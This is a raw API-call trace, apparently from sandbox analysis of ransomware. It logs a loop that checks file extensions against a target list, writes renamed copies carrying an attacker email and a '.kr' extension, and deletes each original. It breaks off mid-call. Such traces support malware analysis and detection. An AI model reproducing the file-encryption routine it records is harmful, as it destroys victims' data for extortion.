[0085.276] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString=".xls") returned 4 [0085.276] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.277] lstrlenW (lpString=".xlsx") returned 5 [0085.277] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.277] lstrlenW (lpString=".ppt") returned 4 [0085.277] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.277] lstrlenW (lpString=".zip") returned 4 [0085.277] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.277] lstrlenW (lpString=".rar") returned 4 [0085.277] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.278] lstrlenW (lpString=".bz2") returned 4 [0085.278] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.278] lstrlenW (lpString=".7z") returned 3 [0085.278] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.278] lstrlenW (lpString=".dbf") returned 4 [0085.278] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.278] lstrlenW (lpString=".1cd") returned 4 [0085.278] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.278] lstrlenW (lpString=".jpg") returned 4 [0085.278] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.278] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.278] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.279] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=82374) returned 1 [0085.279] CloseHandle (hObject=0x340) returned 1 [0085.279] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0085.279] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.279] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.279] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.279] GetLastError () returned 0x0 [0085.280] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x141c6, lpOverlapped=0x0) returned 1 [0085.883] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x141d0, lpOverlapped=0x0) returned 1 [0085.886] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.886] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.886] SetEndOfFile (hFile=0x344) returned 1 [0085.886] CloseHandle (hObject=0x344) returned 1 [0085.889] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.890] SetEndOfFile (hFile=0x340) returned 1 [0085.891] CloseHandle (hObject=0x340) returned 1 [0085.891] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.892] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0085.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.892] lstrlenW (lpString=".doc") returned 4 [0085.892] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.892] lstrlenW (lpString=".docx") returned 5 [0085.892] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.892] lstrlenW (lpString=".pdf") returned 4 [0085.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.892] lstrlenW (lpString=".xls") returned 4 [0085.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.892] lstrlenW (lpString=".xlsx") returned 5 [0085.893] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.893] lstrlenW (lpString=".ppt") returned 4 [0085.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString=".zip") returned 4 [0085.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.893] lstrlenW (lpString=".rar") returned 4 [0085.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString=".bz2") returned 4 [0085.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString=".7z") returned 3 [0085.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString=".dbf") returned 4 [0085.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString=".1cd") returned 4 [0085.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString=".jpg") returned 4 [0085.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.893] lstrlenW (lpString=".doc") returned 4 [0085.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.894] lstrlenW (lpString=".docx") returned 5 [0085.894] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.894] lstrlenW (lpString=".pdf") returned 4 [0085.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.894] lstrlenW (lpString=".xls") returned 4 [0085.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.894] lstrlenW (lpString=".xlsx") returned 5 [0085.894] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.894] lstrlenW (lpString=".ppt") returned 4 [0085.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.895] lstrlenW (lpString=".zip") returned 4 [0085.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.895] lstrlenW (lpString=".rar") returned 4 [0085.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.895] lstrlenW (lpString=".bz2") returned 4 [0085.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.895] lstrlenW (lpString=".7z") returned 3 [0085.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.895] lstrlenW (lpString=".dbf") returned 4 [0085.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.895] lstrlenW (lpString=".1cd") returned 4 [0085.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0085.895] lstrlenW (lpString=".jpg") returned 4 [0085.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.895] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.896] lstrlenW (lpString="eula.rtf") returned 8 [0085.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.896] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3865) returned 1 [0085.896] CloseHandle (hObject=0x340) returned 1 [0085.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0085.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.896] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.897] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.897] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.899] GetLastError () returned 0x0 [0085.899] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xf19, lpOverlapped=0x0) returned 1 [0085.901] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf20, lpOverlapped=0x0) returned 1 [0085.902] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.902] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.902] SetEndOfFile (hFile=0x344) returned 1 [0085.902] CloseHandle (hObject=0x344) returned 1 [0085.903] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.904] SetEndOfFile (hFile=0x340) returned 1 [0085.904] CloseHandle (hObject=0x340) returned 1 [0085.904] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.905] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0085.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.905] lstrlenW (lpString=".doc") returned 4 [0085.905] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.905] lstrlenW (lpString=".docx") returned 5 [0085.905] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.905] lstrlenW (lpString=".pdf") returned 4 [0085.905] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.905] lstrlenW (lpString=".xls") returned 4 [0085.905] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.905] lstrlenW (lpString=".xlsx") returned 5 [0085.905] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.905] lstrlenW (lpString=".ppt") returned 4 [0085.905] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.905] lstrlenW (lpString=".zip") returned 4 [0085.906] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.906] lstrlenW (lpString=".rar") returned 4 [0085.906] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString=".bz2") returned 4 [0085.906] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString=".7z") returned 3 [0085.906] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.906] lstrlenW (lpString=".dbf") returned 4 [0085.906] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.906] lstrlenW (lpString=".1cd") returned 4 [0085.906] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.906] lstrlenW (lpString=".jpg") returned 4 [0085.906] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.906] lstrlenW (lpString=".doc") returned 4 [0085.906] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString=".docx") returned 5 [0085.906] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.906] lstrlenW (lpString=".pdf") returned 4 [0085.906] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.906] lstrlenW (lpString=".xls") returned 4 [0085.906] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.906] lstrlenW (lpString=".xlsx") returned 5 [0085.906] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.907] lstrlenW (lpString=".ppt") returned 4 [0085.907] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.907] lstrlenW (lpString=".zip") returned 4 [0085.907] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.907] lstrlenW (lpString=".rar") returned 4 [0085.907] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.907] lstrlenW (lpString=".bz2") returned 4 [0085.907] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.907] lstrlenW (lpString=".7z") returned 3 [0085.907] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.907] lstrlenW (lpString=".dbf") returned 4 [0085.907] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.907] lstrlenW (lpString=".1cd") returned 4 [0085.907] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0085.907] lstrlenW (lpString=".jpg") returned 4 [0085.907] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.907] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.907] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.908] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=77680) returned 1 [0085.908] CloseHandle (hObject=0x340) returned 1 [0085.908] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0085.908] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.909] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.909] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.909] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.909] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.909] GetLastError () returned 0x0 [0085.909] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x12f70, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x12f80, lpOverlapped=0x0) returned 1 [0085.915] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.915] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.915] SetEndOfFile (hFile=0x344) returned 1 [0085.915] CloseHandle (hObject=0x344) returned 1 [0085.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.917] SetEndOfFile (hFile=0x340) returned 1 [0085.919] CloseHandle (hObject=0x340) returned 1 [0085.919] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.919] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0085.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.919] lstrlenW (lpString=".doc") returned 4 [0085.920] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString=".docx") returned 5 [0085.920] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.920] lstrlenW (lpString=".pdf") returned 4 [0085.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString=".xls") returned 4 [0085.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString=".xlsx") returned 5 [0085.920] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.920] lstrlenW (lpString=".ppt") returned 4 [0085.920] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.920] lstrlenW (lpString=".zip") returned 4 [0085.920] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.920] lstrlenW (lpString=".rar") returned 4 [0085.920] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString=".bz2") returned 4 [0085.920] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString=".7z") returned 3 [0085.920] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.920] lstrlenW (lpString=".dbf") returned 4 [0085.920] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.920] lstrlenW (lpString=".1cd") returned 4 [0085.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.920] lstrlenW (lpString=".jpg") returned 4 [0085.920] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString=".doc") returned 4 [0085.921] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString=".docx") returned 5 [0085.921] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.921] lstrlenW (lpString=".pdf") returned 4 [0085.921] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString=".xls") returned 4 [0085.921] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString=".xlsx") returned 5 [0085.921] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.921] lstrlenW (lpString=".ppt") returned 4 [0085.921] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString=".zip") returned 4 [0085.921] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.921] lstrlenW (lpString=".rar") returned 4 [0085.921] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString=".bz2") returned 4 [0085.921] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString=".7z") returned 3 [0085.921] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString=".dbf") returned 4 [0085.921] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString=".1cd") returned 4 [0085.921] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0085.921] lstrlenW (lpString=".jpg") returned 4 [0085.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.922] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.922] lstrlenW (lpString="eula.rtf") returned 8 [0085.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.922] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3859) returned 1 [0085.922] CloseHandle (hObject=0x340) returned 1 [0085.922] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0085.922] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 